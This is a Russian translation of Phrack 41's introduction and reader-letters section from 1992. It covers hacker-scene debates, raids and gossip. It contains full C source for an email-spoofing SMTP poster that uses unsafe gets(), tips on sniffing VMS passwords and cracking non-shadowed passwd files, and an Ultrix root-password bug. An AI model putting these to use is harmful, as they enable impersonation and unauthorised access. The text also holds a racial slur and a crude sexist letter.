

# Phrack RU issue 041

Русская версия Phrack, выпуск 041. Полный текст статей с кодом и таблицами.

Темы выпуска: культура Phrack, новости сцены, loopback, prophile и хакерские манифесты; эксплуатация уязвимостей, shellcode, rootkits и низкоуровневая безопасность; Unix/Linux, BSD, Windows NT и администрирование систем; сети, маршрутизация, TCP/IP, Cisco, телефония и телеком-инфраструктура.

Материалы выпуска: Содержание Phrack 41; Phrack Loopback; Phrack Pro-Phile: Supernigger; Сетевые заметки: Мощь электронной почты; Бухта Пиратов; Краткое руководство по системам Definity серии G; Как собрать коммутатор DMS-10; Подмена TTY; Уязвимости безопасности сетей AppleShare; Частоты охраны торговых центров; Сообщения о «рейде» на встречу 2600 в Вашингтоне — 9 ноября 1992 г.; Мировые новости Phrack; Подросток 15 лет арестован после паралича службы 911 хакером 7 октября 1992.

Больше крутых материалов в моём телеграм канале [@grogrigs](#)

# Содержание Phrack 41

Р Н Р А С К 4 1

31 декабря 1992 г.

~ We've Had A Rest, We're Still The Best ~

**Автор:** Dispater

---

Вы долго ждали этого, и вот наконец оно вышло. С последнего выпуска произошло многое. Полагаю, стоит начать с самого важного, что касается редактирования Phrack: выпуск 41 — последний, в котором я выступаю редактором.

Почему? Ну, во-первых, около месяца назад я попал в аварию на мотоцикле и на некоторое время лишился возможности пользоваться правой рукой; из-за связанных с этим финансовых трудностей мне пришлось продать компьютеры и кое-что ещё.

Во-вторых, из-за того, что я не богач и не имею доступа к приличной машине, мне пришлось привлекать других людей, чтобы выпускать предыдущие номера, — и это привело к публикации некоторых материалов, которыми я не был доволен.

Однако не поймите меня неправильно. Я не собираюсь поносить своих друзей только потому, что мы расходимся во мнениях по некоторым вопросам. Я считаю, что общее качество выпусков было весьма приличным, и тот, кто говорит обратное, может идти куда подальше — мне глубоко наплевать на его мнение.

В-третьих, и это самая главная причина, по которой я ухожу с поста редактора Phrack, — это общее угасание моего желания заниматься этим. Я имею в виду, что весь смысл моего участия в этом деле изначально был в хакерстве — отчасти из любопытства, а отчасти ради того, чтобы показать кукиш власть имущим и прочим «интеллектуалам», которые твердят: «Ты не можешь делать/узнавать это, потому что мы считаем то-то и то-то». Как будто мне есть дело до того, что думают другие. Я считаю, что общественная польза от хакеров состоит не в том, чтобы указывать на дыры в безопасности тем, кто отрицает их существование, а в том, чтобы вгонять в краску так называемых экспертов по компьютерной безопасности и прочих торговцев воздухом. Это поистине неоценённая услуга, именно она и держит меня в тонусе. В общем... если хотите услышать ещё больше моих монологов, может, в будущем я сам стану героем своего Pro-Phile. Хе!

Но если честно, с тех пор как Phrack оказался у меня, моего свободного времени стало значительно меньше, и постепенно я начал скучать. Было здорово познакомиться с кучей крутых людей, я многому научился. Теперь пришло время вернуться к тому, что я люблю больше всего. Тем, кто хочет поддерживать связь: сейчас я сосредоточен на радиосвязи, HAM-радио, сканировании и сотовых телефонах. Если вам интересно обсуждать эти темы, смело пишите мне на [dispater@stormking.com](mailto:dispater@stormking.com).

Помимо всего прочего, я считаю, что Phrack может быть лучше. Именно поэтому в 42-м выпуске появится новый редактор и новая редакционная команда. Кто именно — не скажу, но вы, возможно, удивитесь. И нет, это не KL и не TK.

На этом — до свидания, и, как сказал Адам Грант: «Не попадайтесь».

Теперь к содержанию выпуска:

В разделе Loopback этого выпуска Phrack отвечает на многочисленные письма, полученные за последние несколько месяцев, включая возвращение Shit Kickin' Jim и сообщение от Rop,

редактора Hack-Tic.

The Racketeer (Rack из The Hellfire Club) продолжает свою колонку Network Miscellany с обширной новой информацией о поддельной почте.

Phrack Pro-Phile посвящён одной из самых загадочных фигур хакерского сообщества — Supernigger. SN был причастен к печально известному DPAK и имеет кое-что сказать элитам и тем, кто любит хвастаться количеством лет, проведённых «в хакерской сцене».

## DISPATER, редактор Phrack

---

Editor-In-Chief : Dispater  
Eleet Founders : Taran King and Knight Lightning  
Technical Consultant : Mind Mage  
Network Miscellany : The Racketeer [HFC]  
News : Datastream Cowboy  
Make-up : Hair Club for Men  
Photography : Restricted Data Transmissions  
Publicity : AT&T, BellSouth, and the United States Secret Service  
Creative Stimulus : Camel Cool, Jolt Cola, and Taco Bell  
Other Helpers : Scott Simpson, Zibby, The Weazel, The Fed, EliteZ  
Everywhere.

---

*«Для записи: мы хакеры, которые верят, что информация должна быть свободной. Вся информация. Мир полон забавных электронных устройств и сетей, и мы хотим делиться нашей информацией с хакерским сообществом.»*

— *Restricted Data Transmissions*

*«Они удовлетворяют собственный аппетит к знаниям, которые им не принадлежат.»*

— *Помощник окружного прокурора Дон Инграхам*

*«Представление о том, что то, как всё устроено, — это большой секрет, попросту ошибочно.»*

— *Конференция по хакингу/крэкингу на The WELL*

---

|                                                               |      |
|---------------------------------------------------------------|------|
| 1. Introduction by Dispater                                   | 07K  |
| 2. Phrack Loopback by Dispater and Mind Mage                  | 52K  |
| 3. Phrack Pro-Phile on Supernigger                            | 10K  |
| 4. Network Miscellany by The Racketeer [HFC]                  | 35K  |
| 5. Pirates Cove by Rambone                                    | 32K  |
| 6. Hacking AT&T System 75 by Scott Simpson                    | 20K  |
| 7. How To Build a DMS-10 Switch by The Cavalier               | 23K  |
| 8. TTY Spoofing by VaxBuster                                  | 20K  |
| 9. Security Shortcomings of AppleShare Networks by Bobby Zero | 16K  |
| 10. Mall Cop Frequencies by Caligula XXI                      | 11K  |
| 11. PWN/Part 1 by Datastream Cowboy                           | 46K  |
| 12. PWN/Part 2 by Datastream Cowboy                           | 49K  |
| 13. PWN/Part 3 by Datastream Cowboy                           | 43K  |
| Total:                                                        | 364K |

---

*Нет никакой Америки.*

*Нет никакой демократии.*

*Есть только IBM, ITT и AT&T.*

— *Consolidated*

# Phrack Loopback

**Автор:** Dispater & Mind Mage

Phrack Loopback — это форум для вас, читателей, где вы можете задавать вопросы, высказывать проблемы и обсуждать любые темы. Здесь же редакция Phrack делится рекомендациями: обзоры книг, журналов, программ, каталогов, оборудования и прочего.

В этом выпуске:

- Комментарии о Phrack 40 — Rop Gonggrijp
- Тонкое искусство телефонии (о Phrack 40) — Inhuman
- Вопрос и комментарий (BT Tymnet / AS400) — Otto Synch
- Статья о BT Tymnet в Phrack 40 — Anonymous
- Мошенничество с Phrack? — Doctor Pizz
- Замечания и предупреждение! — Synaps/Clone1/Feyd
- Про некого Рона Хальтса (о Phrack 38 Loopback) — Ken Martin
- Хакинг в Чехо-Словакии — Stalker
- Phrack 40 — сексизм! — Ground Zero
- Phrack 40 — сексизм!? (политкорректный Phrack) — Shit Kickin' Jim
- Непонятые хакеры не получают уважения — The Cruiser
- Хакеры должны попасть в тюрьму, а не на страницы прессы — Alan Falk
- Анонимные публикации в Usenet? — Anonymous
- Анонимный почтовый постер — Sir Hackalot
- Phrack на марше — Andy Panda-Bear
- Индекс публикаций компьютерного андеграунда — Amadeus
- Пираты против AT&T: плакаты — Legacy Irreverent
- Баг в Ultrix 4.2 — Kryn
- PumpCon провалился — Phil "The Outlander"
- Встреча 2600 сорвана правоохранителями — Emmanuel Goldstein
- Две новые твёрдые обложки — Alan J. Rothman

---

## Письма редакторам

**От:** rop@hacktic.nl (Rop Gonggrijp) (редактор Hack-Tic Magazine)

**Дата:** 14 августа 1992

**Тема:** Комментарии о Phrack 40

Мои поздравления! Вы выпустили один из лучших номеров за всё время. Если так продолжится — мне придётся завидовать!

*Rop Gonggrijp (rop@hacktic.nl) — опасен и способен доставить немало хлопот.  
факс: +31 20 6900968*

---

**От:** Inhuman (Sysop Pentavia BBS)

**Дата:** 18 августа 1992

**Тема:** Тонкое искусство телефонии

Просто хочу сообщить вам, что статья под названием «Тонкое искусство телефонии» — одна из лучших, что я видел в Phrack за долгое время.

Надеюсь увидеть больше материалов о коммутации и телефонии в целом.

Спасибо,

Inhuman

---

**Дата:** 22 октября 1992

**От:** Otto Synch

**Тема:** Вопрос и комментарий

Привет,

Читая ваш (огромный) Phrack #40 и заметив, что вы принимаете комментарии и вопросы, решил написать. Прежде всего — простите за английский. Я французский и ничего не могу с этим поделаться :-)

Мой комментарий: Когда я увидел в оглавлении, что этот номер посвящён BT Tymnet, я очень обрадовался — искал именно такую информацию. А когда прочитал — был весьма разочарован. Toucan Jones мог бы сократить всю свою статью до следующих строк:

- > Найдите любой номер Tymnet.
- > Позвоните и дождитесь приглашения "Please log-in:".
- > Войдите как пользователь "help", пароль не нужен.
- > Захватите всё что хотите — это бесплатная публичная информация.

Признаться, я был немного удивлён, встретив подобную статью в журнале такого высокого качества, как ваш...

Мой вопрос: Я пытаюсь разобраться во всём, что касается интересной AS/400, которую я «нашёл», но никогда не видел про неё никаких «отчётов о взломе». Вы знаете, есть ли такие?

Ладно — посмотрим, ответите ли вы. Нам здесь, на Старом континенте, немного одиноко... но Phrack помогает поддерживать боевой дух!

С уважением,

*Otto Sync*

---

**От:** Anonymous

**Дата:** 19 августа 1992

**Тема:** Статья о BT Tymnet в Phrack 40

Уважаемая редакция Phrack,

Статья о BT Tymnet в 40-м номере Phrack была абсолютно убогой. Ненавижу, когда люди заходят в информационную службу Telenet или Tymnet и просто буферизируют всё дерьмо, что там есть. А потом ещё имеют наглость ставить своё имя на этих данных, как будто совершили крупное сетевое открытие. Это так чертовски убого!

Phrack должен ввести правило не принимать подобную убогость в свой прекрасный журнал. Неужели Phrack так отчаянно нуждается в статьях? Дерьмо вроде коммерческих списков дозвона — примерно так же убого, как и публикация случайных страниц из телефонного справочника. Информация быстро устаревает и в любое время доступна кому угодно. Это не хакинг.

С уважением,

Anonymous (анонимно, потому что не хочу слышать никаких убогих наездов)

*От редакции: Мы согласны, что буферизирование списков дозвона — не хакинг. Однако в данном конкретном случае было принято решение, что не у всех есть свободный*

*доступ к этой информации и что далеко не все знают о её существовании. Более того, и это важнее — статья о Tynet была уместна с учётом недавних событий по делу MOD в Нью-Йорке.*

*В будущем вы можете попросить напечатать ваше письмо анонимно, но не присылайте нам анонимную почту.*

---

**От:** Doctor Pizz

**Дата:** 12 октября 1992

**Тема:** Мошенничество с Phrack?

Недавно я получил объявление от некоего человека, продающего полный комплект архивных номеров Phrack за 100 долларов. Полагаю, это нарушение ваших прав на Phrack, поскольку он явно продаёт вашу работу ради наживы!

Адрес, по которому можно заказать диски:

*R.E. Jones  
21067 Jones-Mill  
Long Beach, MS 39560*

Похоже, он также продаёт комплект файлов NIA за 50 долларов, набор «хакерских программ» за 40 долларов, технические журналы LOD за 25 долларов и множество вирусов. Это напоминает нарушение авторских прав или мошенничество — он продаёт материалы общественного достояния ради личной выгоды. По крайней мере, вам следует об этом знать. В любом случае жду выхода будущих томов Phrack! Продолжайте в том же духе.

Удачи в борьбе с этим типом!

Спасибо,

--Doctor Pizz--

***От редакции:** Нам интересно узнать, что читатели Phrack думают о людях, продающих печатные копии Phrack ради личной наживы.*

---

**От:** Synaps a/k/a Clone1 a/k/a Feyd

**Дата:** 2 сентября 1992

**Тема:** Замечания и предупреждение!

Привет,

Я читаю Phrack регулярно уже два года и полностью одобряю то, как вы ведёте журнал. Это действительно замечательный журнал, и если я могу помочь его развитию во Франции — сделаю всё возможное! Впрочем, это не главная цель моего письма, и простите за английский — он у меня не очень.

Мои замечания касаются способа распространения Phrack. Иногда я не получаю его полностью. Знаю, что это не ваша вина, и понимаю (сеть иногда барахлит!). Но думаю, вы могли бы организовать почтовый сервер наподобие NETSERV, где можно получать архивные номера по почте — только по почте, без FTP.

У многих людей (особенно во Франции) нет доступа к международному FTP, а во Франции нет ни одного FTP-сайта с какими-либо номерами Phrack. Я пользовался некоторыми рассылщиками LISTSERV с функцией send/get. Не могли бы вы установить её на вашем LISTSERV?

Моё предупреждение касается «группы» (правильнее сказать — псевдогруппы), основанной неким Жаном Бернаром Кондатом и названной CCCF. JBC распространил своё имя по сети среди многих

людей из андеграунда. Поскольку позиции андеграунда во Франции слабы (D.S.T. — антихакерское ведомство — здесь весьма активно и эффективно), люди склонны доверять JBC. Он, похоже (именно ПОХОЖЕ), неплохо разбирается в компьютерах, кажется добродушным и располагает множеством ресурсов. Единственная проблема в том, что он устраивает «подставы» (как вы называли это несколько лет назад) и использует собранную информацию для слежки за хакерами. В прошлом году он организовал игру «le prix du chaos» («цена хаоса»), где просил хакеров доказать свои способности.

Это была не настоящая цель вызова. Он использовал все материалы, присланные хакерами, чтобы преследовать людей, а теперь «играет» с обычной полицией и тайной (DST), налаживая между собой и ними нечто вроде торговли. Это действительно пугает хакерскую сцену Франции, потому что многие ему доверяют (даже телевидение, у которого нет никаких оснований проверить, является ли он настоящим хакером, как утверждает, или охотником за хакерами, каким он ЯВЛЯЕТСЯ!). Журналисты принимают его за серьёзный источник, поскольку он заявляет, что возглавляет группу компьютерных энтузиастов.

Но мы выяснили, что его группы не существует. В ней никого нет, кроме его брата и ещё двух-трёх странных людей, тогда как он утверждает, что в его клубе/группе 73 человека. Вам следует распространить это предупреждение по всему андеграунду — мы должны показать, что «подставы» существуют не только в США! Знаю, что у него уже есть база данных с массой информации — адресами и прочим — о хакерах, и он «играет» с этими хакерами.

Будьте очень осторожны с этим человеком. Слишком многие ему доверяют. Пора посмотреть на него и его группу «объективно»!

Большое спасибо и до свидания.

Synaps a/k/a Clone1 a/k/a Feyd

---

**От:** Ken Martin

**Дата:** 17 ноября 1992

**Тема:** Про некого Рона Хальтса... (Phrack 38 Loopback)

Уважаемая редакция Phrack,

Это письмо касается письма в колонке Phrack Loopback (#38, 20 апреля 1992), написанного неким Роном Хальтсом. В нём предлагается запретить всем детям доступ к компьютеру с модемом.

Прилагаемое пресс-релиз пытается внушить читателю, что всё, что есть «там» (на досках объявлений), плохо. Любой, кто способен читать сообщения «сатанистов, педофилов и насильников», может также прочитать типичный дисклеймер, который есть на большинстве BBS с взрослым контентом, и должен уметь сообщить сисопу BBS свой возраст.

Ребёнок, достаточно смыслённый, чтобы управлять компьютером и модемом, также должен быть в состоянии решить, что ему подходит для чтения, и иметь достаточно здравого смысла, чтобы избегать разделов BBS, которые могут привести к неприятностям, и не сообщать свой адрес и домашний телефон поклонникам Чарльза Мэнсона. (Факт: у всех подростков есть мысли о сексе — с этим ничего не поделаешь. Оператор BBS тоже несёт моральную ответственность за то, чтобы не пускать маленьких детей в зону загрузки XXX-гифок.)

Одна проблема — это BBS, управляемые андеграундом (хак/фрик, там обычно люди от 15 до 30 лет). Их операторы, по моему опыту, пускают практически всех. Там часто есть номера кредитных карт, телефонные карточки, коды доступа к кредитным службам и т.п., как правило, вместе с текстовыми файлами на озорные темы. Мистер Хальтс не упоминает об этом ни в письме, ни в пресс-релизе. На мой взгляд, именно такие системы и являются настоящей проблемой. Детей завораживает, что они вдруг узнали, как делать взрывчатку и как получать что угодно бесплатно.

Думаю, что у родителей должно хватать здравого смысла следить за тем, что делают их дети. Если их не устраивает информация, которую те получают, или сообщения, которые отправляют другим пользователям — вот тогда и стоит ограничить доступ к модему.

Мне пятнадцать лет, и я могу сказать, что из-за информации, полученной с BBS и публичных коммуникационных сервисов вроде CompuServe, у меня было более чем достаточно проблем с законом. Компьютер — это инструмент, и таковым останется. Пойдёт ли он во благо или во вред — зависит от пользователя. Я использовал свой компьютер и модем для полезных целей значительно чаще, чем для разрушительных.

Хочу попросить мистера Хальтса подумать о своей маленькой идее запрета модемов для детей и о том, каким ударом это станет по их образованию. Многие школы используют компьютеры и модемы в программах по естественным наукам и английскому языку в исследовательских целях.

Запрет телекоммуникаций для детей — это как отрезать от внешнего мира и от любых форм публикаций вообще, стоит лишь взглянуть на крупный информационный сервис вроде CompuServe или GEnie и увидеть весь тот объём информации, который такой сервис способен предоставить стране.

Спасибо,

Ken Martin (70712.760@compuserve.com)  
a.k.a. Scorpion, The Omega Concern, Dr. Scott

---

**От:** Stalker

**Дата:** 14 октября 1992

**Тема:** Хакинг в Чехо-Словакии

Привет!

Я студент из Чехо-Словакии (для тех, кто не знает — это в центральной Европе). Зовите меня Stalker (если есть кто-то с таким же именем — называйте как хотите). Если вы думаете, что компьютеры, сети, хакинг и прочие интересные вещи обходят Восточную Европу стороной — вы ОШИБАЕТЕСЬ. О политиках говорить не буду. Они реально раздражают меня (и всех остальных, кто занимается компьютерами)! Расскажу о том, что здесь интересного прямо сейчас.

Наш университетский кампус работает на двух основных системах: VMS и ULTRIX. Есть VAX 6000, VAX 4000, MicroVAX, VAXStation и некоторые старые машины под VMS. С точки зрения хакинга — ничего интересного. Никаких трюков с /etc/passwd, никаких серьёзных багов в утилитах и командах. Но, насколько я знаю, VMS не шифрует пакеты в сети, так что можно взять PC с Netwatch (или другим подходящим ПО) и посмотреть, что интересного гуляет по кабелю. Можно перехватить всё что угодно — имена пользователей, пароли и т.д.

В целом студенты ненавидят VMS и любят UNIX-подобные системы. Другие машины работают под ULTRIX. У нас есть DECstation'ы (несколько 3100, несколько 5000) и одна SM 52-12, которая представляет собой что-то на базе VAX-11 :-(. Очень медленная машина, но у неё есть доступ в интернет! Пользователей много, поэтому можно сравнительно легко запустить Crack (отличная программа) — passwd не теневой. Ещё одна полезная вещь — tftp (смотрите другие номера Crack). Была машина с включённым tftp, но после одного инцидента его отключили.

Хотел бы рассказать больше об этом инциденте, но сисадмины всё ещё подозревают (они, видимо, читают мою почту). Может, через несколько месяцев напишу в другой статье. Пока могу сказать, что я не настоящий UNIX-GURU-HACKER, однако сисадмины так и думали. Кто-то (мужчина или женщина — кто знает) взломал одну (или две) машины нашего кампуса. Администраторы думали, что это я, но это не так! Этот хакер значительно лучше меня и моих друзей. До сих пор никто не



знает, кто это. Администратор поговорил с ним/ней и через несколько недель выдал аккаунт. Он/она, вероятно, имел/а права root какое-то время и, возможно, имеет их сегодня. Подключается через модем. Логин — пето (Жюль Верн — популярный герой). Попробую написать ему/ей о Phrack — может, напишет интересные статьи о себе.

И несколько советов. Phrack очень интересен, но на cert.org (192.88.209.9) через анонимный FTP доступны и другие интересные официальные файлы. Это FTP-сервер Computer Emergency Response Team (CERT). Там можно найти интересную информацию об ошибках в актуальном программном обеспечении, но будет видно только то, какая команда или утилита содержит баг — но не как его эксплуатировать. Если вы достаточно умны — этого достаточно.

Если нет — читайте Phrack! :-)

Пока,

Stalker

---

**От:** Ground Zero

**Дата:** 25 августа 1992

**Тема:** Phrack 40 — сексизм!

Привет, просто короткий комментарий по поводу отчёта Phrack о SummerCon:

Не думаю, что вашим читателям нужно знать или что им вообще интересно слышать о том, что Doc Holiday был занят тем, что клеил девчонок, или что там были какие-то неуравновешенные малолетки, предлагавшие себя участникам SummerCon. Кроме того, как женщина я не в восторге от вашей характеристики женщин в том материале.

Я не придираюсь и не стараюсь быть политкорректной (ненавижу PC) — просто пишу, потому что это меня действительно задело. Чао.

Ground Zero (редактор Activist Times, Inc./ATI)

---

**От:** Shit Kickin' Jim

**Дата:** 11 сентября 1992

**Тема:** Phrack 40 — сексизм!? (политкорректный Phrack)

Слушай, женщина. Не знаю, что ты там себе навывдумывала насчёт намерений Phrack. Позволь сказать кое-что. Во-первых, Phrack не управляется какими-то мелкими хлюпиками. Ты что, из этих самых? Объясняю на примере. BOT настоящая история про меня и одного из моих лучших друзей: 4x4 Phreaker.

4x4 Phreaker приехал в Техас на небольшое хакерское приключение. Несмотря на то что живёт он там у янки, 4x4 Phreaker — довольно нормальный парень. Как вы думаете, чем занимаются настоящие мужики-хакеры, когда встречаются? Едут в Radio Shack за упаковочной плёнкой?

ЧЁРТА С ДВА! Мы, мать его, поехали в Caligula XXI. Для тех ребят, кто не местный, или для тех педиков, что могут это читать: Caligula XXI специализируется на развлечениях для джентльменов.

Мы с 4x4 Phreaker поехали туда не глазеть на каких-то жирных потасканных шлюх, какие бывают на вашем типичном Но-Но Соп. Мы поехали с конкретной целью — посмотреть на настоящую кинозвезду. Да — в тот вечер там была Christy Canyon. Мы с 4x4 Phreaker сели за столик ближе к сцене. Тут я решил заняться охотой. Да — я достал корпоративную золотую карту American Express. И не прошло трёх минут, как у нас с 4x4 Phreaker появились две новые приятельницы на вечер.

Так вот — как видишь, мы обращались с этими двумя прекрасными дамами вполне прилично, и они ответили взаимностью. Мы даже свозили их утром в Waffle House. Так что не знаю, на каком основании ты называешь нас сексистами. Ты просто зазнавшаяся городская янки, которая ожидает, что её будут обслуживать.

Боже, храни Джорджа Буша и его любовницу Дженнифер как-там-её-зовут.

:Shit Kickin' Jim (злее злого быка в стае мокрых шершней)

---

## **Непонятые хакеры не получают уважения**

*10 августа 1992*

*by The Cruiser (ComputerWorld, стр. 24, Письма редактору)*

Я только что прочитал ответы на статью Криса Гоггана «Хакеры — не настоящий враг» [ComputerWorld, 29 июня] и хотел бы остановиться на нескольких поднятых там вопросах. Я хакер — а значит, кошмар каждого системного администратора.

Ничего подобного. Многие хакеры — политически сознательные активисты. Помимо одержимости освоением технологий (я называю это откровенным пренебрежением к ней), настоящие хакеры живут и соблюдают строгий моральный кодекс.

Вся эта болтовня о различии между вуайеризмом и преступлением: ну пожалуйста, давайте перестанем сравнивать доступ к информации со взломом чужого дома. Государство может изъять компьютеры и оборудование у подозреваемых хакеров — навсегда — даже не предъявив обвинения. Я не буду сидеть сложа руки, пока Большой Брат контролирует меня.

The Cruiser

---

## **Хакеры должны попасть в тюрьму, а не на страницы прессы**

*19 октября 1992*

*by Alan Falk (ComputerWorld, стр. 32, Письма редактору)*

Письма от признанных хакеров, которые вы публикуете, похоже, прославляют достоинства хакинга. Мне это очень не нравится по простой причине: оно полностью игнорирует вопрос о частной собственности.

Компьютерные системы, в которые они взламываются, и базы данных, к которым они пытаются получить доступ, равно как и данные в этих базах, — частная собственность.

Аналогичным аргументом можно назвать следующее: проникновение в ювелирный магазин и похищение ценностей — это на самом деле способ проверки мер безопасности в заведении. Они, мол, делают это просто ради острых ощущений и вызова. Неужели они стали бы оправдывать вуайеризм «логикой»: «в конце концов, если бы они не хотели, чтобы я смотрел, они бы плотнее задёрнули шторы»?

Тот факт, что это связано с вызовом, острыми ощущениями (или даже самоотдачей, интеллектом и прочим), не меняет сути дела.

Предлагаю: хакеров, получающих доступ к системам вопреки воле их владельцев, следует привлекать к ответственности по законам о незаконном проникновении, краже и т.д.

Alan Falk  
Куперт, Калифорния

---

## Анонимные публикации в Usenet?

**Дата:** 19 августа 1992

**От:** Anonymous

Я читал в Phrack обо всевозможных способах отправки поддельной почты, но знает ли кто-нибудь из читателей (или Mind Mage) что-нибудь об анонимных публикациях в группах новостей?

---

## Анонимный почтовый постер

*4 августа 1992*

*by Sir Hackalot*

Ниже приведён исходный код на С простого «анонимного» почтового постера, который я написал ОЧЕНЬ давно. Это лишь одна из многих программ, которые я раньше никому не давал. Возможно, она окажется полезной. По существу, она подключается к SMTP-порту и автоматизирует отправку. Поддерживает несколько получателей в строке «To:» и несколько строк «To:».

От: sirh@sirh.com

```
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <fcntl.h>
#include <errno.h>

int openSock(name,port)
char *name;
int port;

{
    int mysock,opt=1;
    struct sockaddr_in sin;
    struct hostent *he;
    he = gethostbyname(name);
    if (he == NULL) {
        printf("No host found..\n");
        exit(0);
    }

    memcpy((caddr_t)&sin.sin_addr,he->h_addr_list[0],he->h_length);
    sin.sin_port = port;

    sin.sin_family = AF_INET;

    mysock = socket(AF_INET,SOCK_STREAM,0);

    opt = connect(mysock,(struct sockaddr *)&sin,sizeof(sin));
    return mysock;
}
```

```

}

/* This allows us to have many people on one TO line, seperated by
   commas or spaces. */

process(s,d)
int d;
char *s;
{
    char *tmp;
    char buf[120];

    tmp = strtok(s, " ,");

    while (tmp != NULL) {
        sprintf(buf, "RCPT TO: %s\n", tmp);
        write(d, buf, strlen(buf));
        tmp = strtok(NULL, " ,");
    }
}

getAndSendFrom(fd)
int fd;
{
    char from[100];
    char outbound[200];

    printf("You must should specify a From address now.\nFrom: ");
    gets(from);

    sprintf(outbound, "MAIL FROM: %s\n", from);
    write(fd, outbound, strlen(outbound));
}

getAndSendTo(fd)
int fd;
{
    char addrs[100];

    printf("Enter Recipients, with a blank line to end.\n");

    addrs[0] = '_';

    while (addrs[0] != '\0') {
        printf("To: ");
        gets(addrs);
        process(addrs, fd);
    }
}

getAndSendMsg(fd)
int fd;
{
    char textline[90];
    char outbound[103];

    sprintf(textline, "DATA\n");
    write(fd, textline, strlen(textline));

    printf("You may now enter your message.  End with a period\n\n");
    printf("[-----]\n");

    textline[0] = '_';
}

```

```

        while (textline[0] != '.') {
            gets(textline);
            sprintf(outbound,"%s\n",textline);
            write(fd,outbound,strlen(outbound));
        }
    }

main(argc,argv)
int argc;
char *argv[];
{
    char text[200];
    int file_d;

    /* Get ready to connect to host. */
    printf("SMTP Host: ");
    gets(text);

    /* Connect to standard SMTP port. */
    file_d = openSock(text,25);

    if (file_d < 0) {
        printf("Error connecting to SMTP host.\n");
        perror("smtp_connect");
        exit(0);
    }

    printf("\n\n[+ Connected to SMTP host %s +]\n",text);

    sleep(1);

    getAndSendFrom(file_d);

    getAndSendTo(file_d);

    getAndSendMsg(file_d);

    sprintf(text,"QUIT\n");
    write(file_d,text,strlen(text));

    /* Here we just print out all the text we got from the SMTP
       Host. Since this is a simple program, we didnt need to do
       anything with it. */

    printf("[Session Message dump]:\n");
    while(read(file_d,text,78) > 0)
        printf("%s\n",text);
    close(file_d);
}

```

---

**От:** Andy Panda-Bear

**Дата:** 25 сентября 1992

**Тема:** Phrack на марше

Кому это может касаться:

Я с удовольствием читаю ваши статьи в Phrack и нахожу их крайне информативными и полезными. Хотел бы узнать, составляли ли вы или планируете ли составить сборник тематических статей. Например, можно было бы сделать руководство Phrack по телефонии и включить туда все статьи о телефоне и телекоммуникациях. Возможно, «Руководство Phrack по UNIX» или «Руководство Phrack по интернету». Туда могли бы войти перепечатки прошлых статей с комментариями людей, готовых поделиться своими знаниями. Так, к сведению — просто есть над чем подумать.

Спасибо за многие мегабайты полезной информации — продолжайте в том же духе.

Позже,

Andy Panda-Bear

---

## Индекс публикаций компьютерного андеграунда

*by Amadeus*

Я только что закончил новое издание Phrack Index, которое теперь называется Computer Underground Publications Index, поскольку туда вошли выпуски Legion of Doom Tech Journals и Informatik.

Скачать можно с ftp.uu.net по пути /tmp/CUPindex

Я уже отправил его ребятам из CUD, чтобы они добавили его в свои архивы.

CUP обновлён — включены все Phrack'и вплоть до 40-го номера.

Удачи,

Amadeus

---

## Пираты против AT&T: плакаты

*8 августа 1992*

*by Legacy Irreverent (legacy@cpu.cyberpnk1.sai.com)*

24 мая 1992 года двое одиноких Пиратов — Legacy из CyberPunk System и Captain Picard из Holodeck — наконец устали терпеть AT&T. Вместе они отправились к техническому объекту AT&T к западу от Годдарда, Канзас, и провозгласили эту территорию владением Пиратов и Хакеров повсеместно. Они водрузили флаг «Весёлый Роджер» с черепом и костями на флагштоке AT&T, где он пробыл 2 дня, пока охрана не сняла его.

Событие было сфотографировано и снято на видео студией EGATOBAS Productions для сохранения этого памятного момента в истории. Теперь вы можете стать свидетелем этого события. В течение ограниченного времени мы предлагаем цветной плакат 11" × 17" с флагом «Весёлый Роджер», гордо реющим над AT&T с логотипом компании на виду, и подписью: «МЫ ПРИШЛИ, МЫ УВИДЕЛИ, МЫ ПОБЕДИЛИ». Цена — 5,50 доллара за штуку, ламинированные.

Также по запросу: цветная фотография 20" × 30" и хлопковая футболка с той же цветной картинкой на груди — по 20 долларов за штуку.

Если вас интересует что-либо из перечисленного, просто пришлите чек или денежный перевод на сумму по адресу:

*CyberPunk System  
P.O. Box 771027  
Wichita, KS 67277-1072*

GIF также доступен на CyberPunk System: 1:291/19, 23:316/0, 72:708/316, 69:2316/0. **FREQ** magicname PIRATE

Вопросы — на Legacy@cpu.cyberpnk1.sai.com

---

## Баг в Ultrix 4.2

*by Kryn*

В обновлённой версии Ultrix 4.2 обнаружен баг, связанный с `passwd` и `root`. Он достаточно прост, и патч/исправление доступен. Вот описание уязвимости:

```
Имя пользователя сисадмина : mradmin
Имя любого пользователя   : mruser
```

Допустим, `mruser` забыл свой пароль — это нехорошо. `Mruser` обращается к `mradmin` с просьбой сменить пароль на `newpass`. `Mradmin` это делает.

`Mradmin` теперь выполнит `su` на `root` и `passwd mruser`. Он введёт новый пароль `mruser` — `newpasswd`. В `/etc/passwd` у `mruser` появится «\*» (теневой), и будет выглядеть так, будто пароль изменён, но это не так.

Изменён был пароль `root` — теперь пароль `root` равен `newuser`.

Исправление доступно через анонимный `ftp`:

```
black.ox.ac.uk /src/npasswd.enhanced.shar.Z
```

Оригинал там же: `/src/npasswd jpl.tar.Z`

---

## PumpCon провалился

*5 ноября 1992*

*by Phil "The Outlander"*

PumpCon '92 прошёл на прошлых выходных в Westchester Courtyard by Marriott и был разогнан с треском.

Всё началось, как обычная конвенция хакеров/фрикеров/киберпанков: много пива, много болтовни и много людей со всей страны, — за исключением того, что гости вели себя безрассудно, глупо, шумно и самонадеянно.

Менеджер гостиницы в сопровождении трёх полицейских из Гринборо вошла в комнату приблизительно в 22:00 в субботу. На неё поступали жалобы о шуме и вандализме от других постояльцев. По её словам, она несколько раз пыталась позвонить в номер, прежде чем лично зайти, но телефонная линия в номере постоянно была занята.

Полицейские заметили многочисленные открытые (и пустые) пивные бутылки по всей комнате и уже собирались задержать нарушителей по статье о «незаконном хранении алкоголя несовершеннолетними», когда один из них заметил Amiga, подключённую к модему US Robotics, который в свою очередь был подключён к телефонной линии номера. «Похищенная» телефонная карточка дала достаточно оснований для переквалификации обвинения в «мошенничество с использованием средств связи».

Все находившиеся в номере были задержаны для допроса. Следственные процедуры проводились в стандартном порядке. Дело целиком вели местные власти, включая прокуратуру округа Вестчестер. Насколько мне известно, ФБР и служба безопасности Bell не вызывались (или вызывались уже после того, как меня отпустили).

